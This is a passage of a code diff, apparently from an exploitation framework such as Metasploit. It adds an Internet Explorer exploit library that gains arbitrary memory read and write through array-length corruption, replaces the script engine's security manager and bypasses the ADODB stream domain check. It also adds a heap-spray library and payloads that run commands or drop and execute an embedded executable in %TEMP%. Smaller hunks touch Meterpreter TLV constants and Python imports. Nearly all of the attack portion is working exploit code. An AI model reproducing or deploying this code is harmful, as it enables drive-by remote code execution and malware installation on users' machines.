// while leaking and modifying things.
|
||||
this.arr_contents = [];
|
||||
|
||||
this.payload = payload;
|
||||
this.modules = {}
|
||||
this.getproc = null;
|
||||
this.loadlibrary = null;
|
||||
|
||||
// Offset to the Origin URL in the Stream, modifying it
|
||||
// allows to bypass msado15.SecurityCheck(), allowing
|
||||
// for example to write stream contents to filesystem.
|
||||
this.stream_origin = 0x44;
|
||||
}
|
||||
|
||||
ExpLib.prototype.resolveAPI = function( modulename, procname ) {
|
||||
var module = this.resolveModule( modulename );
|
||||
|
||||
return this.callAPI( this.getproc, module, this.allocateString(procname) );
|
||||
}
|
||||
|
||||
ExpLib.prototype.resolveModule = function( modulename ) {
|
||||
if ( this.modules[modulename] )
|
||||
return this.modules[modulename];
|
||||
|
||||
var module = this.callAPI( this.loadlibrary, this.allocateString(modulename) );
|
||||
this.modules[modulename] = module;
|
||||
return module;
|
||||
}
|
||||
|
||||
ExpLib.prototype.spray = function() {
|
||||
this.arr_arr = new Array( num_arrays );
|
||||
|
||||
var decl = "[";
|
||||
|
||||
for ( var i = 0; i < this.arr_size - 1; ++ i ) {
|
||||
decl += '0,';
|
||||
}
|
||||
|
||||
decl += '0';
|
||||
decl += ']';
|
||||
|
||||
for ( var i = 0; i < num_arrays; ++ i ) {
|
||||
this.arr_arr[i] = eval(decl);
|
||||
for(var j = 0; j < this.arr_contents.length; j++) {
|
||||
this.arr_arr[i][j] = this.arr_contents[j];
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// Should be used before calling spray()
|
||||
ExpLib.prototype.setArrContents = function(contents) {
|
||||
for(var i = 0; i < this.arr_size && i < contents.length; i++) {
|
||||
this.arr_contents[i] = contents[i];
|
||||
}
|
||||
}
|
||||
|
||||
ExpLib.prototype.setValue = function(i1, i2, v) {
|
||||
this.arr_arr[i1][i2] = v;
|
||||
}
|
||||
|
||||
|
||||
ExpLib.prototype.setValueByAddr = function(index, addr, v) {
|
||||
this.arr_arr[index][((addr % 0x1000) - 0x20) / 4] = v;
|
||||
}
|
||||
|
||||
ExpLib.prototype.read32 = function(addr) {
|
||||
if ( addr % 4 ) {
|
||||
// error
|
||||
}
|
||||
|
||||
if ( addr >= this.arr2_member_base ) {
|
||||
return this.arr2[(addr - this.arr2_member_base)/4];
|
||||
} else {
|
||||
return this.arr2[0x40000000 - (this.arr2_member_base - addr)/4]
|
||||
}
|
||||
}
|
||||
|
||||
ExpLib.prototype.write32 = function(addr, value) {
|
||||
if ( addr % 4 ) {
|
||||
// error
|
||||
}
|
||||
|
||||
if ( value >= 0x80000000 )
|
||||
value = -(0x100000000 - value);
|
||||
|
||||
//alert(((addr - this.arr2_member_base)/4).toString(16));
|
||||
if ( addr >= this.arr2_member_base ) {
|
||||
this.arr2[(addr - this.arr2_member_base)/4] = value;
|
||||
} else {
|
||||
this.arr2[0x40000000 - (this.arr2_member_base - addr) / 4] = value;
|
||||
}
|
||||
}
|
||||
|
||||
ExpLib.prototype.read8 = function(addr) {
|
||||
var value = this.read32( addr & 0xfffffffc );
|
||||
switch ( addr % 4 ) {
|
||||
case 0: return (value & 0xff);
|
||||
case 1: return ((value >> 8) & 0xff);
|
||||
case 2: return ((value >> 16) & 0xff);
|
||||
case 3: return ((value >> 24) & 0xff);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
ExpLib.prototype.write8 = function(addr, value) {
|
||||
var original_value = this.read32( addr & 0xfffffffc );
|
||||
var new_value;
|
||||
|
||||
switch ( addr % 4 ) {
|
||||
case 0:
|
||||
new_value = (original_value & 0xffffff00) | (value & 0xff);
|
||||
break;
|
||||
|
||||
case 1:
|
||||
new_value = (original_value & 0xffff00ff) | ((value & 0xff) << 8);
|
||||
break;
|
||||
case 2:
|
||||
new_value = (original_value & 0xff00ffff) | ((value & 0xff) << 16);
|
||||
break;
|
||||
case 3:
|
||||
new_value = (original_value & 0x00ffffff) | ((value & 0xff) << 24);
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
this.write32( addr & 0xfffffffc, new_value );
|
||||
}
|
||||
|
||||
|
||||
ExpLib.prototype.writeBytes = function(addr, bytes) {
|
||||
for ( var i = 0; i + 3 < bytes.length; i += 4 ) {
|
||||
var value = (bytes[i] & 0xff) | ((bytes[i+1] & 0xff) << 8) |
|
||||
((bytes[i + 2] & 0xff) << 16) | ((bytes[i + 3] & 0xff) << 24);
|
||||
|
||||
this.write32( addr + i, value );
|
||||
}
|
||||
|
||||
for ( ; i < bytes.length; ++ i ) {
|
||||
this.write8( addr + i, bytes[i] );
|
||||
}
|
||||
}
|
||||
|
||||
ExpLib.prototype.writeString = function(addr, s) {
|
||||
var bytes = [];
|
||||
var i = 0;
|
||||
for ( ; i < s.length; ++ i ) {
|
||||
bytes[i] = s.charCodeAt(i);
|
||||
}
|
||||
|
||||
bytes[i] = 0;
|
||||
|
||||
this.writeBytes( addr, bytes );
|
||||
}
|
||||
|
||||
ExpLib.prototype.writeStringW = function(addr, s) {
|
||||
var bytes = [];
|
||||
var i = 0;
|
||||
for ( ; i < s.length; ++i ) {
|
||||
bytes[i * 2] = s.charCodeAt(i);
|
||||
bytes[i * 2 + 1] = 0;
|
||||
}
|
||||
|
||||
bytes[s.length * 2] = 0;
|
||||
bytes[s.length * 2 + 1] = 0;
|
||||
|
||||
this.writeBytes( addr, bytes );
|
||||
}
|
||||
|
||||
ExpLib.prototype.read16 = function(addr) {
|
||||
if ( addr % 2 ) {
|
||||
// error, not aligned
|
||||
}
|
||||
|
||||
var value = this.read32( addr & 0xfffffffc );
|
||||
switch ( addr % 4 ) {
|
||||
case 0: return (value & 0xffff);
|
||||
case 1: return ((value >> 8) & 0xffff);
|
||||
case 2: return ((value >> 16) & 0xffff);
|
||||
case 3: /*not supported*/ break;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
ExpLib.prototype.strequal = function(addr, s) {
|
||||
for ( var i = 0; i < s.length; ++ i ) {
|
||||
if ( this.read8(addr + i) != s.charCodeAt(i) )
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
ExpLib.prototype.getModuleBase = function(addr) {
|
||||
|
||||
var cur_addr = addr;
|
||||
|
||||
while ( cur_addr > 0 ) {
|
||||
|
||||
if ( (this.read32(cur_addr) & 0xffff) == 0x5a4d ) {
|
||||
return cur_addr;
|
||||
}
|
||||
|
||||
cur_addr -= 0x10000;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
ExpLib.prototype.getModuleBaseFromIAT = function(base, name) {
|
||||
var import_table = base + this.read32( base + this.read32(base + 0x3c) + 0x80 );
|
||||
var cur_table = import_table;
|
||||
|
||||
while ( cur_table < import_table + 0x1000 ) {
|
||||
|
||||
var name_addr = base + this.read32(cur_table + 12);
|
||||
if ( this.strequal( name_addr, name ) ) {
|
||||
var iat = base + this.read32(cur_table + 16);
|
||||
var func = this.read32(iat);
|
||||
while ( 0 == func ) {
|
||||
iat += 4;
|
||||
func = this.read32(iat);
|
||||
}
|
||||
|
||||
return this.getModuleBase( func & 0xFFFF0000 );
|
||||
|
||||
}
|
||||
|
||||
cur_table += 20;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
ExpLib.prototype.getProcAddress = function(base, procname) {
|
||||
var export_table = base + this.read32( base + this.read32(base + 0x3c) + 0x78 );
|
||||
var num_functions = this.read32( export_table + 20 );
|
||||
var addr_functions = base + this.read32( export_table + 28 );
|
||||
var addr_names = base + this.read32( export_table + 32 );
|
||||
var addr_ordinals = base + this.read32( export_table + 36 );
|
||||
|
||||
for ( var i = 0; i < num_functions; ++ i ) {
|
||||
var name_addr = this.read32( addr_names + i * 4 ) + base;
|
||||
if ( this.strequal( name_addr, procname ) ) {
|
||||
var ordinal = this.read16( addr_ordinals + i * 2 );
|
||||
var result = this.read32( addr_functions + ordinal * 4 ) + base;
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
ExpLib.prototype.searchBytes = function(pattern, start, end) {
|
||||
|
||||
if ( start >= end || start + pattern.length > end )
|
||||
return 0;
|
||||
|
||||
var pos = start;
|
||||
while ( pos < end ) {
|
||||
for ( var i = 0; i < pattern.length; ++ i ) {
|
||||
if ( this.read8(pos + i) != pattern[i] )
|
||||
break;
|
||||
}
|
||||
|
||||
if ( i == pattern.length ) {
|
||||
return pos;
|
||||
}
|
||||
|
||||
++ pos;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
ExpLib.prototype.getError = function(msg) {
|
||||
return this.err_msg;
|
||||
}
|
||||
|
||||
ExpLib.prototype.setError = function(msg) {
|
||||
this.err_msg = msg;
|
||||
}
|
||||
|
||||
ExpLib.prototype.setStreamOrigin = function(offset) {
|
||||
this.stream_origin = offset;
|
||||
}
|
||||
|
||||
ExpLib.prototype.getStreamOrigin = function() {
|
||||
return this.stream_origin;
|
||||
}
|
||||
|
||||
ExpLib.prototype.memcpy = function(dst, src, size) {
|
||||
var i = 0;
|
||||
for ( ; i < size - 4; i += 4 ) {
|
||||
this.write32( dst + i, this.read32(src + i) );
|
||||
}
|
||||
|
||||
for ( ; i < size; ++ i ) {
|
||||
this.write8( dst + i, this.read8(src + i) );
|
||||
}
|
||||
}
|
||||
|
||||
ExpLib.prototype.go = function() {
|
||||
|
||||
var i = 0;
|
||||
|
||||
|
||||
|
||||
for ( ; i < this.arr_arr.length - 1; ++ i ) {
|
||||
this.arr_arr[i][this.arr_size + 0x1c / 4] = 0;
|
||||
|
||||
if ( this.arr_arr[i][this.arr_size + 0x18 / 4] == this.arr_size ) {
|
||||
this.arr_arr[i][this.arr_size + 0x14 / 4] = 0x3fffffff;
|
||||
this.arr_arr[i][this.arr_size + 0x18 / 4] = 0x3fffffff;
|
||||
|
||||
this.arr_arr[i + 1].length = 0x3fffffff;
|
||||
|
||||
if ( this.arr_arr[i+1].length == 0x3fffffff ) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
if ( i >= this.arr_arr.length - 1 ) {
|
||||
this.setError( "Cannot find array with corrupt length!" );
|
||||
return false;
|
||||
}
|
||||
|
||||
this.arr1_idx = i;
|
||||
this.arr2_idx = i + 1;
|
||||
|
||||
this.arr1 = this.arr_arr[i];
|
||||
this.arr2 = this.arr_arr[i + 1];
|
||||
|
||||
this.arr2_base = this.base + 0x1000;
|
||||
this.arr2_member_base = this.arr2_base + 0x20;
|
||||
|
||||
var func_addr = this.leakAddress(ActiveXObject);
|
||||
var script_engine_addr = this.read32(this.read32(func_addr + 0x1c) + 4);
|
||||
|
||||
//alert(script_engine_addr.toString(16));
|
||||
|
||||
var original_securitymanager = this.read32( script_engine_addr + 0x21c );
|
||||
if ( !original_securitymanager ) {
|
||||
// let security manager to be valid
|
||||
try {
|
||||
var WshShell = new ActiveXObject("WScript.shell");
|
||||
} catch (e) {}
|
||||
|
||||
original_securitymanager = this.read32( script_engine_addr + 0x21c );
|
||||
}
|
||||
|
||||
var original_securitymanager_vtable = this.read32(original_securitymanager);
|
||||
var securitymanager_size = 0x28;
|
||||
var fake_securitymanager = 0x1a1b2010;
|
||||
var fake_securitymanager_vtable = fake_securitymanager + 0x28;
|
||||
//alert(original_securitymanager.toString(16));
|
||||
|
||||
this.memcpy( fake_securitymanager, original_securitymanager, securitymanager_size );
|
||||
this.memcpy( fake_securitymanager_vtable, original_securitymanager_vtable, 0x70 );
|
||||
this.write32( fake_securitymanager, fake_securitymanager_vtable );
|
||||
this.write32(script_engine_addr + 0x21c, fake_securitymanager);
|
||||
|
||||
var jscript9_base = this.getModuleBase( this.read32(script_engine_addr) & 0xffff0000 );
|
||||
var jscript9_code_start = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x104);
|
||||
var jscript9_code_end = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x108);
|
||||
|
||||
|
||||
this.write32( fake_securitymanager_vtable + 0x14,
|
||||
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 8; */
|
||||
|
||||
this.write32( fake_securitymanager_vtable + 0x10,
|
||||
this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 4; */
|
||||
|
||||
this.payload.execute(this);
|
||||
|
||||
|
||||
/*
|
||||
* restore
|
||||
*/
|
||||
|
||||
this.write32( script_engine_addr + 0x21c, original_securitymanager );
|
||||
|
||||
return true;
|
||||
|
||||
}
|
||||
|
||||
ExpLib.prototype.leakAddress = function(obj) {
|
||||
this.arr_arr[this.arr2_idx + 1][2] = obj;
|
||||
return this.read32(this.arr2_member_base + 0x1008);
|
||||
}
|
||||
|
||||
ExpLib.prototype.switchStreamOrigin = function(stream) {
|
||||
var obj = this.leakAddress(stream);
|
||||
var stream_obj = this.read32(obj + 0x30);
|
||||
//var url_addr = this.read32(stream_obj + 0x3c);
|
||||
var url_addr = this.read32(stream_obj + this.stream_origin);
|
||||
|
||||
/*
|
||||
* bypass domain check
|
||||
*/
|
||||
this.writeStringW( url_addr, 'file:///C:/1.htm' );
|
||||
}
|
||||
|
||||
return ExpLib;
|
||||
|
||||
})();
|
||||
|
|
@ -0,0 +1,33 @@
|
|||
function payload_drop_exec(pe) {
|
||||
|
||||
this.execute = function(explib) {
|
||||
|
||||
var WshShell = new ActiveXObject("WScript.shell");
|
||||
var temp = WshShell.ExpandEnvironmentStrings("%TEMP%");
|
||||
var filename = temp + "\\a.exe";
|
||||
|
||||
var bStream = new ActiveXObject("ADODB.Stream");
|
||||
var txtStream = new ActiveXObject("ADODB.Stream");
|
||||
bStream.Type = 1;
|
||||
txtStream.Type = 2;
|
||||
|
||||
bStream.Open();
|
||||
txtStream.Open();
|
||||
|
||||
explib.switchStreamOrigin(txtStream);
|
||||
|
||||
txtStream.WriteText(pe);
|
||||
txtStream.Position = 2;
|
||||
txtStream.CopyTo( bStream );
|
||||
txtStream.Close();
|
||||
|
||||
explib.switchStreamOrigin(bStream);
|
||||
|
||||
bStream.SaveToFile(filename, 2);
|
||||
bStream.Close();
|
||||
|
||||
oExec = WshShell.Exec(filename);
|
||||
}
|
||||
|
||||
return this;
|
||||
}
|
||||
|
|
@ -0,0 +1,10 @@
|
|||
function payload_exec(cmd) {
|
||||
|
||||
this.execute = function(explib) {
|
||||
|
||||
var WshShell = new ActiveXObject("WScript.shell");
|
||||
var oExec = WshShell.Exec(cmd);
|
||||
}
|
||||
|
||||
return this;
|
||||
}
|
||||
|
|
@ -0,0 +1,192 @@
|
|||
//heapLib2 namespace
|
||||
function heapLib2() { }
|
||||
|
||||
//These are attributes that will not actually create a bstr
|
||||
//and directly use the back-end allocator, completely bypassing the cache
|
||||
var global_attrs = ["title", "lang", "class"];
|
||||
|
||||
heapLib2.ie = function(element, maxAlloc)
|
||||
{
|
||||
//128mb
|
||||
this.maxAlloc = 0x8000000;
|
||||
|
||||
//make sure that an HTML DOM element is passed
|
||||
if(!element.nodeType || element.nodeType != 1)
|
||||
throw "alloc.argument: element not valid";
|
||||
|
||||
this.element = element;
|
||||
|
||||
if(maxAlloc)
|
||||
this.maxAlloc = maxAlloc;
|
||||
|
||||
//empty the cache
|
||||
this.Oleaut32EmptyCache();
|
||||
this.Oleaut32FillCache();
|
||||
this.Oleaut32EmptyCache();
|
||||
|
||||
}
|
||||
|
||||
heapLib2.ie.prototype.newelement = function(element)
|
||||
{
|
||||
//make sure that an HTML DOM element is passed
|
||||
if(!element.nodeType || element.nodeType != 1)
|
||||
throw "alloc.argument: element not valid";
|
||||
|
||||
this.element = element;
|
||||
}
|
||||
|
||||
heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok)
|
||||
{
|
||||
if(typeof(cache_ok)==='undefined')
|
||||
cache_ok = false;
|
||||
else
|
||||
cache_ok = true;
|
||||
|
||||
//make sure the attribute name is a string
|
||||
if(typeof attr_name != "string")
|
||||
throw "alloc.argument: attr_name is not a string";
|
||||
|
||||
//make sure that the attribute name is not already present in the html element
|
||||
if(this.element.getAttribute(attr_name))
|
||||
throw "alloc.argument: element already contains attr_name: " + attr_name;
|
||||
|
||||
//ensure the size is a number
|
||||
if(typeof size != "number")
|
||||
throw "alloc.argument: size is not a number: " + size;
|
||||
|
||||
//make sure the size isn't one of the special values
|
||||
if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000))
|
||||
throw "alloc.argument: size cannot be flushed from cache: " + size;
|
||||
|
||||
if(size > this.maxAlloc)
|
||||
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
||||
|
||||
//the size must be at a 16-byte boundary this can be commented out but
|
||||
//the allocations will be rounded to the nearest 16-byte boundary
|
||||
if(size % 16 != 0)
|
||||
throw "alloc.argument: size be a multiple of 16: " + size;
|
||||
|
||||
//20-bytes will be added to the size
|
||||
//<4-byte size><data><2-byte null>
|
||||
size = ((size / 2) - 6);
|
||||
|
||||
//May have to change this due to allocation side effects
|
||||
var data = new Array(size).join(cache_ok ? "C" : "$");
|
||||
|
||||
var attr = document.createAttribute(attr_name);
|
||||
this.element.setAttributeNode(attr);
|
||||
this.element.setAttribute(attr_name, data);
|
||||
|
||||
}
|
||||
|
||||
//These items will allocate/free memory and should really
|
||||
//only be used once per element. You can use a new element
|
||||
//by calling the 'newelement' method above
|
||||
heapLib2.ie.prototype.alloc_nobstr = function(val)
|
||||
{
|
||||
//make sure the aval is a string
|
||||
if(typeof val != "string")
|
||||
throw "alloc.argument: val is not a string";
|
||||
|
||||
var size = (val.length * 2) + 6;
|
||||
|
||||
if(size > this.maxAlloc)
|
||||
throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
||||
|
||||
var i = 0;
|
||||
var set_gattr = 0;
|
||||
for(i = 0; i < global_attrs.length; i++)
|
||||
{
|
||||
curr_gattr = global_attrs[i];
|
||||
if(!this.element.getAttribute(curr_gattr))
|
||||
{
|
||||
this.element.setAttribute(curr_gattr, "");
|
||||
this.element.setAttribute(curr_gattr, val);
|
||||
set_gattr = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(set_gattr == 0)
|
||||
throw "alloc_nobstr: all global attributes are assigned, try a new element";
|
||||
}
|
||||
|
||||
//completely bypass the cache, useful for heap spraying (see heapLib2_test.html)
|
||||
heapLib2.ie.prototype.sprayalloc = function(attr_name, str)
|
||||
{
|
||||
//make sure the attribute name is a string
|
||||
if(typeof attr_name != "string")
|
||||
throw "alloc.argument: attr_name is not a string";
|
||||
|
||||
//make sure that the attribute name is not already present in the html element
|
||||
if(this.element.getAttribute(attr_name))
|
||||
throw "alloc.argument: element already contains attr_name: " + attr_name;
|
||||
|
||||
//ensure the size is a number
|
||||
if(typeof str != "string")
|
||||
throw "alloc.argument: str is not a string: " + typeof str;
|
||||
|
||||
var size = (str.length * 2) + 6;
|
||||
|
||||
//make sure the size isn't one of the special values
|
||||
if(size <= 0x8000)
|
||||
throw "alloc.argument: bigalloc must be greater than 0x8000: " + size;
|
||||
|
||||
if(size > this.maxAlloc)
|
||||
throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size;
|
||||
|
||||
var attr = document.createAttribute(attr_name);
|
||||
this.element.setAttributeNode(attr);
|
||||
this.element.setAttribute(attr_name, str);
|
||||
}
|
||||
|
||||
heapLib2.ie.prototype.free = function(attr_name, skip_flush)
|
||||
{
|
||||
if(typeof(skip_flush)==='undefined')
|
||||
skip_flush = false;
|
||||
else
|
||||
skip_flush = true;
|
||||
|
||||
//make sure that an HTML DOM element is passed
|
||||
if(!this.element.nodeType || this.element.nodeType != 1)
|
||||
throw "alloc.argument: element not valid";
|
||||
|
||||
//make sure the attribute name is a string
|
||||
if(typeof attr_name != "string")
|
||||
throw "alloc.argument: attr_name is not a string";
|
||||
|
||||
//make sure that the attribute name is not already present in the html element
|
||||
if(!this.element.getAttribute(attr_name))
|
||||
throw "alloc.argument: element does not contain attribute: " + attr_name;
|
||||
|
||||
//make sure the cache is full so the chunk returns the general purpose heap
|
||||
if(!skip_flush)
|
||||
this.Oleaut32FillCache();
|
||||
|
||||
this.element.setAttribute(attr_name, null);
|
||||
|
||||
if(!skip_flush)
|
||||
this.Oleaut32EmptyCache()
|
||||
}
|
||||
|
||||
heapLib2.ie.prototype.Oleaut32FillCache = function()
|
||||
{
|
||||
for(var i = 0; i < 6; i++)
|
||||
{
|
||||
this.free("cache0x20"+i, true);
|
||||
this.free("cache0x40"+i, true);
|
||||
this.free("cache0x100"+i, true);
|
||||
this.free("cache0x8000"+i, true);
|
||||
}
|
||||
}
|
||||
|
||||
heapLib2.ie.prototype.Oleaut32EmptyCache = function()
|
||||
{
|
||||
for(var i = 0; i < 6; i++)
|
||||
{
|
||||
this.alloc("cache0x20"+i, 0x20, true);
|
||||
this.alloc("cache0x40"+i, 0x40, true);
|
||||
this.alloc("cache0x100"+i, 0x100, true);
|
||||
this.alloc("cache0x8000"+i, 0x8000, true);
|
||||
}
|
||||
}
|
||||
|
|
@ -1,10 +1,18 @@
|
|||
function postInfo(path, data) {
|
||||
function postInfo(path, data, cb) {
|
||||
var xmlHttp = new XMLHttpRequest();
|
||||
|
||||
if (xmlHttp.overrideMimeType) {
|
||||
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||||
}
|
||||
|
||||
xmlHttp.open('POST', path, false);
|
||||
xmlHttp.open('POST', path, !!cb);
|
||||
|
||||
if (cb) {
|
||||
xmlHttp.onreadystatechange = function() {
|
||||
if (xmlHttp.readyState == 4) { cb.apply(this, arguments); }
|
||||
};
|
||||
}
|
||||
|
||||
xmlHttp.send(data);
|
||||
}
|
||||
return xmlHttp;
|
||||
}
|
||||
|
|
|
|||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
|
@ -6,10 +6,10 @@
|
|||
##
|
||||
# General
|
||||
##
|
||||
define("TLV_TYPE_HANDLE", TLV_META_TYPE_UINT | 600);
|
||||
define("TLV_TYPE_HANDLE", TLV_META_TYPE_QWORD | 600);
|
||||
define("TLV_TYPE_INHERIT", TLV_META_TYPE_BOOL | 601);
|
||||
define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_UINT | 630);
|
||||
define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_UINT | 631);
|
||||
define("TLV_TYPE_PROCESS_HANDLE", TLV_META_TYPE_QWORD | 630);
|
||||
define("TLV_TYPE_THREAD_HANDLE", TLV_META_TYPE_QWORD | 631);
|
||||
|
||||
##
|
||||
# Fs
|
||||
|
|
@ -65,7 +65,7 @@ define("PROCESS_EXECUTE_FLAG_SUSPENDED", (1 << 2));
|
|||
define("PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN", (1 << 3));
|
||||
|
||||
# Registry
|
||||
define("TLV_TYPE_HKEY", TLV_META_TYPE_UINT | 1000);
|
||||
define("TLV_TYPE_HKEY", TLV_META_TYPE_QWORD | 1000);
|
||||
define("TLV_TYPE_ROOT_KEY", TLV_TYPE_HKEY);
|
||||
define("TLV_TYPE_BASE_KEY", TLV_META_TYPE_STRING | 1001);
|
||||
define("TLV_TYPE_PERMISSION", TLV_META_TYPE_UINT | 1002);
|
||||
|
|
@ -90,12 +90,12 @@ define("TLV_TYPE_ENV_GROUP", TLV_META_TYPE_GROUP | 1102);
|
|||
define("DELETE_KEY_FLAG_RECURSIVE", (1 << 0));
|
||||
|
||||
# Process
|
||||
define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_UINT | 2000);
|
||||
define("TLV_TYPE_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2000);
|
||||
define("TLV_TYPE_ALLOCATION_TYPE", TLV_META_TYPE_UINT | 2001);
|
||||
define("TLV_TYPE_PROTECTION", TLV_META_TYPE_UINT | 2002);
|
||||
define("TLV_TYPE_PROCESS_PERMS", TLV_META_TYPE_UINT | 2003);
|
||||
define("TLV_TYPE_PROCESS_MEMORY", TLV_META_TYPE_RAW | 2004);
|
||||
define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_UINT | 2005);
|
||||
define("TLV_TYPE_ALLOC_BASE_ADDRESS", TLV_META_TYPE_QWORD | 2005);
|
||||
define("TLV_TYPE_MEMORY_STATE", TLV_META_TYPE_UINT | 2006);
|
||||
define("TLV_TYPE_MEMORY_TYPE", TLV_META_TYPE_UINT | 2007);
|
||||
define("TLV_TYPE_ALLOC_PROTECTION", TLV_META_TYPE_UINT | 2008);
|
||||
|
|
@ -109,16 +109,16 @@ define("TLV_TYPE_PROCESS_ARGUMENTS", TLV_META_TYPE_STRING | 2305);
|
|||
define("TLV_TYPE_IMAGE_FILE", TLV_META_TYPE_STRING | 2400);
|
||||
define("TLV_TYPE_IMAGE_FILE_PATH", TLV_META_TYPE_STRING | 2401);
|
||||
define("TLV_TYPE_PROCEDURE_NAME", TLV_META_TYPE_STRING | 2402);
|
||||
define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_UINT | 2403);
|
||||
define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_UINT | 2404);
|
||||
define("TLV_TYPE_PROCEDURE_ADDRESS", TLV_META_TYPE_QWORD | 2403);
|
||||
define("TLV_TYPE_IMAGE_BASE", TLV_META_TYPE_QWORD | 2404);
|
||||
define("TLV_TYPE_IMAGE_GROUP", TLV_META_TYPE_GROUP | 2405);
|
||||
define("TLV_TYPE_IMAGE_NAME", TLV_META_TYPE_STRING | 2406);
|
||||
|
||||
define("TLV_TYPE_THREAD_ID", TLV_META_TYPE_UINT | 2500);
|
||||
define("TLV_TYPE_THREAD_PERMS", TLV_META_TYPE_UINT | 2502);
|
||||
define("TLV_TYPE_EXIT_CODE", TLV_META_TYPE_UINT | 2510);
|
||||
define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_UINT | 2511);
|
||||
define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_UINT | 2512);
|
||||
define("TLV_TYPE_ENTRY_POINT", TLV_META_TYPE_QWORD | 2511);
|
||||
define("TLV_TYPE_ENTRY_PARAMETER", TLV_META_TYPE_QWORD | 2512);
|
||||
define("TLV_TYPE_CREATION_FLAGS", TLV_META_TYPE_UINT | 2513);
|
||||
|
||||
define("TLV_TYPE_REGISTER_NAME", TLV_META_TYPE_STRING | 2540);
|
||||
|
|
@ -137,7 +137,7 @@ define("TLV_TYPE_DESKTOP", TLV_META_TYPE_STRING | 3002);
|
|||
# Event Log
|
||||
##
|
||||
define("TLV_TYPE_EVENT_SOURCENAME", TLV_META_TYPE_STRING | 4000);
|
||||
define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_UINT | 4001);
|
||||
define("TLV_TYPE_EVENT_HANDLE", TLV_META_TYPE_QWORD | 4001);
|
||||
define("TLV_TYPE_EVENT_NUMRECORDS", TLV_META_TYPE_UINT | 4002);
|
||||
|
||||
define("TLV_TYPE_EVENT_READFLAGS", TLV_META_TYPE_UINT | 4003);
|
||||
|
|
|
|||
|
|
@ -1,4 +1,3 @@
|
|||
import ctypes
|
||||
import fnmatch
|
||||
import getpass
|
||||
import os
|
||||
|
|
@ -9,8 +8,15 @@ import socket
|
|||
import struct
|
||||
import subprocess
|
||||
import sys
|
||||
import time
|
||||
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
try:
|
||||
import ctypes
|
||||
has_ctypes = True
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
except ImportError:
|
||||
has_ctypes = False
|
||||
has_windll = False
|
||||
|
||||
try:
|
||||
import pty
|
||||
|
|
@ -24,6 +30,12 @@ try:
|
|||
except ImportError:
|
||||
has_pwd = False
|
||||
|
||||
try:
|
||||
import SystemConfiguration as osxsc
|
||||
has_osxsc = True
|
||||
except ImportError:
|
||||
has_osxsc = False
|
||||
|
||||
try:
|
||||
import termios
|
||||
has_termios = True
|
||||
|
|
@ -36,52 +48,216 @@ try:
|
|||
except ImportError:
|
||||
has_winreg = False
|
||||
|
||||
class PROCESSENTRY32(ctypes.Structure):
|
||||
_fields_ = [("dwSize", ctypes.c_uint32),
|
||||
("cntUsage", ctypes.c_uint32),
|
||||
("th32ProcessID", ctypes.c_uint32),
|
||||
("th32DefaultHeapID", ctypes.c_void_p),
|
||||
("th32ModuleID", ctypes.c_uint32),
|
||||
("cntThreads", ctypes.c_uint32),
|
||||
("th32ParentProcessID", ctypes.c_uint32),
|
||||
("thPriClassBase", ctypes.c_int32),
|
||||
("dwFlags", ctypes.c_uint32),
|
||||
("szExeFile", (ctypes.c_char * 260))]
|
||||
try:
|
||||
import winreg
|
||||
has_winreg = True
|
||||
except ImportError:
|
||||
has_winreg = (has_winreg or False)
|
||||
|
||||
class SYSTEM_INFO(ctypes.Structure):
|
||||
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
|
||||
("wReserved", ctypes.c_uint16),
|
||||
("dwPageSize", ctypes.c_uint32),
|
||||
("lpMinimumApplicationAddress", ctypes.c_void_p),
|
||||
("lpMaximumApplicationAddress", ctypes.c_void_p),
|
||||
("dwActiveProcessorMask", ctypes.c_uint32),
|
||||
